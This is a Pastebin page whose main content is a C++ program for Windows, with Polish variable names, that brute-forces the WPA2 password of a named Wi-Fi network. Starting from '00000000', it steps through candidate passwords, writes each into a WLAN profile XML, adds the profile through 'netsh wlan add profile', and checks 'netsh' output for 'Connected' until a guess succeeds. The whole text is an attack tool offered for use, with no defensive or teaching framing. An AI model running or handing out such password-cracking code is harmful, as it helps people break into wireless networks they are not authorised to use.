Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<iostream>
- #include<stdlib.h>
- #include<fstream>
- #include<string>
- #include<conio.h>
- using namespace std;
- char p = ' ', k = 'z';
- string zmien(string haslo, int num){
- if(haslo[num] == k){
- if(num == 0){
- for(int i = 0;i < haslo.size();i++)
- haslo[i] = p;
- haslo += p;
- return haslo;
- }
- haslo[num] = p;
- return zmien(haslo, num - 1);
- }
- if(haslo[num] == '9')
- haslo[num] = 'A';
- else if(haslo[num] == 'Z')
- haslo[num] = 'a';
- else
- haslo[num]++;
- return haslo;
- }
- int main(){
- ofstream xmlFile;
- ifstream xmlFile1;
- string name = "", pass = "00000000";
- string ntyp = "Wi-Fi", netType, fileTest = ">test.txt", check, ntype, fil, xfileName, fileName = "myWlan.xml";
- char c = '"', cho1 = '1', c1;
- netType = c+ntyp+c+fileTest;
- xfileName = c+fileName+c;
- cout << "\n Enter the desired network name-------: ";
- cin >> name;
- do{
- xmlFile.open(fileName.c_str());
- //Writing a xml file .....................
- xmlFile << "<?xml version =" << c << "1.0" << c << "?>\n";
- xmlFile << "<WLANProfile xmlns=" << c << "http://www.microsoft.com/networking/WLAN/profile/v1" << c << ">\n";
- xmlFile << "<name>";
- xmlFile << name;
- xmlFile << "</name>\n<SSIDConfig>\n<SSID>\n<hex>";
- for(int i = 0;i<name.length();i++)
- xmlFile << hex << (int)name.at(i);
- xmlFile << "</hex>\n<name>";
- xmlFile << name;
- xmlFile << "</name>\n</SSID>\n</SSIDConfig>\n<connectionType>ESS</connectionType>\n<connectionMode>auto</connectionMode>\n<MSM>\n<security>\n<authEncryption>";
- xmlFile << "\n<authentication>WPA2PSK</authentication>\n<encryption>AES</encryption>\n<useOneX>false</useOneX>\n</authEncryption>\n<sharedKey>";
- xmlFile << "\n<keyType>passPhrase</keyType>\n<protected>false</protected>\n<keyMaterial>";
- xmlFile << pass;
- xmlFile << "</keyMaterial>\n</sharedKey>\n</security>\n</MSM>\n";
- xmlFile << "<MacRandomization xmlns=" << c << "http://www.microsoft.com/networking/WLAN/profile/v3" << c << ">\n";
- xmlFile << "<enableRandomization>false</enableRandomization>\n</MacRandomization>\n</WLANProfile>";
- xmlFile.close();
- //addd the xml file to system profile.............
- system(("netsh wlan add profile filename="+xfileName).c_str());
- //to let system realize what changes have been made...............
- //system("timeout /t 2");
- //to check if connected...........
- system(("netsh interface show interface name="+netType).c_str());
- xmlFile1.open("test.txt");
- while(!xmlFile1.eof()){
- xmlFile1 >> c1;
- if(c1==':'){
- for(int i = 0;i < 9;i++){
- xmlFile1 >> c1;
- check += c1;
- }
- }
- if(check != "Connected")
- check = "";
- }
- xmlFile1.close();
- if(check != "Connected")
- pass = zmien(pass, pass.size() - 1);
- }
- while(check != "Connected");
- cout << '\n' << "...............................................You are connected!!.................................";
- cout << '\n' << '\n' << pass << '\n';
- }
Advertisement
Add Comment
Please, Sign In to add comment